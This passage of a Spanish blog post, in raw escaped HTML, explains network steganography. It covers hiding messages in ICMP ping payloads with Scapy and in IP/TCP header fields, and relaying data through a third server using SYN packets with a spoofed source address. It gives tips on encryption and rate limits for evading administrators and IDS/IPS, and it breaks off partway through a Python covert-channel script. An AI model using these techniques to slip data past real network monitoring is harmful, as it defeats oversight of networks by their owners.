0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&gt;&gt;&gt; &lt;/code&gt;&lt;code&gt;&lt;b&gt;mensaje = "Creo que sospechan de ti."&lt;/b&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&gt;&gt;&gt; &lt;/code&gt;&lt;code&gt;&lt;b&gt;icmp.add_payload(mensaje)&lt;/b&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&gt;&gt;&gt; &lt;/code&gt;&lt;code&gt;&lt;b&gt;packet = ip / icmp&lt;/b&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&gt;&gt;&gt; &lt;/code&gt;&lt;code&gt;&lt;b&gt;sr1(packet)&lt;/b&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;Begin emission:&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;.*Finished to send 1 packets.&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;   &lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;Received 2 packets, got 1 answers, remaining 0 packets&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&lt;\IP  version=4L ihl=5L tos=0x0 len=53 id=53122 flags= frag=0L ttl=64 proto=icmp chksum=0x96d9 src=10.0.0.105 dst=10.0.0.4 options='' |&lt;\ICMP  type=echo-reply code=0 chksum=0xd436 id=0x0 seq=0x0 |&lt;raw load="Creo que sospechan de ti."&gt;&gt;&gt;&lt;/raw&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&gt;&gt;&gt; &lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;   &lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Bob podría visualizar este mensaje activando un tcpdump en su interfaz que capturase todos los paquetes icmp que le llegasen.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Si un administrador estuviese monitorizando la red sólo vería un ping, tráfico que  no tiene por qué ser sospechoso ya que, a priori, no es un protocolo susceptible de transportar información (aunque vemos que en realidad sí puede). Además, un ping y su respuesta resultan imperceptibles dentro del &lt;/span&gt;   &lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;maremagnum que es una red moderna. Si aún con todo el administrador ha sido tan  minucioso como para detectar el intercambio de paquetes y capturarlos con un sniffer, esto sería lo que vería:&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SQMm4qwn1XI/AAAAAAAAAGU/ReBlz_ZEgGg/s1600-h/esteganografia_captura_ping.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 288px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SQMm4qwn1XI/AAAAAAAAAGU/ReBlz_ZEgGg/s400/esteganografia_captura_ping.png" alt="" id="BLOGGER_PHOTO_ID_5261091544691627378" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;   &lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Como se puede apreciar, la captura del paquete ICMP sí que muestra claramente el contenido del mensaje en el campo Data. Para evitar la detección y además dotar de confidencialidad el mensaje lo normal es que en vez de encapsular el mensaje en claro en el campo Data, se cifre primero (por ejemplo con una clave simétrica conocida por ambos extremos) y luego se empaquete en el ping. De esta manera el administrador lo que vería sería un amasijo de bytes aparentemente aleatorios que no tienen por qué hacerle sospechar de que lo que está viendo realmente es un mensaje cifrado... a no ser que haya leído este artículo y por tanto sepa que si todo su parque de ordenadores es Windows los campos de datos de los pings deben contener, por fuerza, el abecedario “abcdefghi... “.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;¿Qué pasaría con los mensajes con longitud superior a 56 bytes? Pues nada, los trocearíamos en lotes de 56 bytes y meteríamos cada uno en un ping. En vez de enviar un único ping mandaremos varios, lo cual sigue entrando dentro de lo normal cuando se utiliza legítimamente este protocolo. Dado que Scapy está pensado tanto para su uso interactivo por consola como para importarlo como librería en nuestros scripts de Python resulta sencillísimo automatizar todo este proceso en un programa que añada características añadidas como por ejemplo control de errores y corrección mediante reenvíos de paquetes (dado que no es raro que se pierda un ping incluso en redes locales). Sin embargo hay que tener en cuenta cuando integremos todo lo dicho en un programa que muchos dispositivos IDS/IPS controlan cuantos pings se pueden enviar entre dos puntos durante un intervalo de tiempo bloqueando los que excedan este umbral. Por eso, los programas que creemos para transmitir datos por ICMP deberán contar con un parámetro que permita configurar cuantos pings por segundo queremos enviar de manera que podamos asegurarnos de que nuestro envío nunca supere el umbral de los dispositivos IDS/IPS que pudieran encontrarse por el camino.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;  &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;   &lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;El tercer método de esteganografía de red, el uso de un &lt;b&gt;campo numérico&lt;/b&gt;, no es sino una variante del anterior. La diferencia es que en vez de utilizar un campo específicamente destinado a datos se trata de utilizar uno dedicado a contener valores numéricos, como por ejemplo:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;i&gt;El  campo de Identificación de la cabecera IP&lt;/i&gt;. Con 16 bits de  longitud, se utiliza para darle un número identificativo a cada  paquete de manera que sea posible reconstruirlo en caso de que se  tenga que realizar fragmentación en alguno de los nodos intermedios  del trayecto. &lt;/span&gt;  &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;i&gt;El  campo de Número Inicial de Secuencia de la cabecera TCP&lt;/i&gt;. Sus 32  bits de longitud nos permitirían enviar cuatro caracteres ASCII por  paquete. Se utiliza para establecer el número inicial a partir del  cual se numerarán el resto de paquetes, de manera que se puedan  detectar pérdidas o llegadas desordenadas de paquetes. Lo fija el  que envía el paquete inicial.&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;i&gt;El  campo de Número de Secuencia Reconocido de la cabecera TCP&lt;/i&gt;.  También de 32 bits, lo fija el extremo que responde al paquete  inicial cogiendo el Número Inicial de Secuencia de ese paquete y  sumándole uno. Este campo, como se verá después, se utiliza en  para realizar transmisiones ocultas de datos de manera indirecta.&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Los dos primeros campos se utilizarían igual que el de datos del ping que veíamos antes, sólo habría que tener en cuenta la menor longitud de los campos y que habría que codificar las cadenas a un valor numérico de la longitud necesaria en función de sus valores ASCII (y posteriormente decodificarlos en el extremo receptor). &lt;a href="http://www.synacklabs.net/projects/stegtunnel/"&gt;Stegtunnel&lt;/a&gt;&lt;a class="sdfootnoteanc" name="sdfootnote1anc" href="http://www.synacklabs.net/projects/stegtunnel/"&gt;&lt;/a&gt; utiliza precisamente estos dos campos.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;El uso del campo de Número de Secuencia Reconocido de la cabecera TCP/IP es más interesante y es el que utilizan herramientas como &lt;a href="http://sourceforge.net/projects/ncovert/#item3rd-1"&gt;Ncovert&lt;/a&gt;&lt;a class="sdfootnoteanc" name="sdfootnote2anc" href="http://www.blogger.com/post-create.g?blogID=3131013648748842611#sdfootnote2sym"&gt;&lt;/a&gt;. Supongamos que Alice quiere enviarle un mensaje a Bob, pero ella sabe que hay un administrador de red muy paranóico que no le quita el ojo de encima a Bob y monitoriza todo el tráfico de su ordenador. Resulta que Alice no conoce oficialmente a Bob y sabe que cualquier acercamiento a él levantaría sospechas y lo mismo pasaría a nivel de red si se detectase tráfico desde el PC de Alice hacia el de Bob. Pero Alice ha leído estas líneas y sabe que puede ocultar su mensaje entre el tráfico “legal” de Bob. Para ello Alice eligiría un servidor al que acceda usualmente Bob, llamemoslo por ejemplo Mercurio, y lo utilizaría de intermediario para pasarle el mensaje.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;  &lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;La idea es la siguiente: &lt;/span&gt; &lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Alice  crearía sucesivos paquetes SYN (de establecimiento de conexión)  con Mercurio poniendo en el campo de Número Inicial de Secuencia  TCP (o en el de Identificación IP) los caracteres de su mensaje tal  y como veíamos antes pero falsificaría el origen del paquete SYN  poniendo que proviene de la dirección IP de Bob. &lt;/span&gt;  &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Mercurio  iría creando paquetes de SYN+ACK con destino a Bob (ya que él cree  que es Bob el que le envía los paquetes SYN), utilizando en el  campo de Número de Secuencia Reconocido el número fijado por Alice  más 1. &lt;/span&gt;  &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Bob  sólo tendría que ir recopilando dichos paquetes SYN+ACK, extraer  sus campos de Número de Secuencia Reconocido, restarle 1 y pasarlo  a ASCII.&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;    &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/SQMovTCvR_I/AAAAAAAAAGc/owmYCcZ0YGE/s1600-h/esteganografia_de_red_envio_indirecto.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 316px;" src="http://2.bp.blogspot.com/_czXkQpCMagk/SQMovTCvR_I/AAAAAAAAAGc/owmYCcZ0YGE/s400/esteganografia_de_red_envio_indirecto.png" alt="" id="BLOGGER_PHOTO_ID_5261093582729594866" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;La ventaja de este sistema es que el acechante administrador sólo vería un flujo de paquetes entre Bob y Mercurio por lo que no sospecharía nada. Además, no es necesario dirigir los paquetes a un puerto a la escucha de Mercurio, ya que en caso de utilizar un puerto cerrado, Mercurio reenviará los datos a Bob en un paquete RST+ACK en vez de en un SYN+ACK. La pega es que los paquetes RST+ACK llaman bastante más la atención en una captura de red que los de SYN+ACK al señalar errores en las conexiones, por lo que si Alice quisiese minimizar la probabilidad de llamar la atención del administrador fijaría un puerto de destino abierto (por ejemplo, si Mercurio fuese un servidor Web utilizaría el puerto 80).&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;La creación de herramientas para realizar este tipo de comunicaciones es extremadamente sencilla. A continuación se muestra un ejemplo programado con Python y Scapy.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;La herramienta que utilizaría Alice podría ser:&lt;/span&gt;&lt;/p&gt; &lt;pre style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;############################################&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;# STEGTRANSPORT&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;# Programado por: Dante Signal31&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;# Stegtransport permite transferir datos camuflados&lt;br /&gt;# en las cabeceras TCP&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt; de paquetes SYN de apariencia&lt;br /&gt;# perfectamente normal.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;############################################&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;##########&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;# LIBRERIAS&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;##########&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;import&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; scapy&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;import&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; time&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;import&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; random&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;############&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;# CONSTANTES&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;############&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# Por simplicidad marcamos el final del mensaje con una '#'.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MENSAJE &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Creo que sospechan de ti. Sera /&lt;br /&gt;mejor que tengas cuidado.#"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;IP_DESTINO &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"192.168.10.105"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;IP_INTERMEDIARIO &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"192.168.10.106"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PUERTO_ESCUCHA_INTERMEDIARIO &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;80&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;INTERVALO_DE_ESPERA&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;0.1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;##################&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;# PROGRAMA PRINCIPAL&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;i&gt;##################&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Mensaje a enviar: "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; MENSAJE&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Destinatario del mensaje: "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; IP_DESTINO&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Intermediario: "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; IP_INTERMEDIARIO&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;for&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; caracter &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;in&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; MENSAJE&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;caracter_valor_ascii &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;ord&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;caracter&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Enviando caracter: "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; caracter &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" con valor ASCII: "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;str&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;caracter_valor_ascii&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"..."&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;paquete_ip &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; scapy.IP&lt;/span&gt;&lt;span style="color: rgb(255, 0, 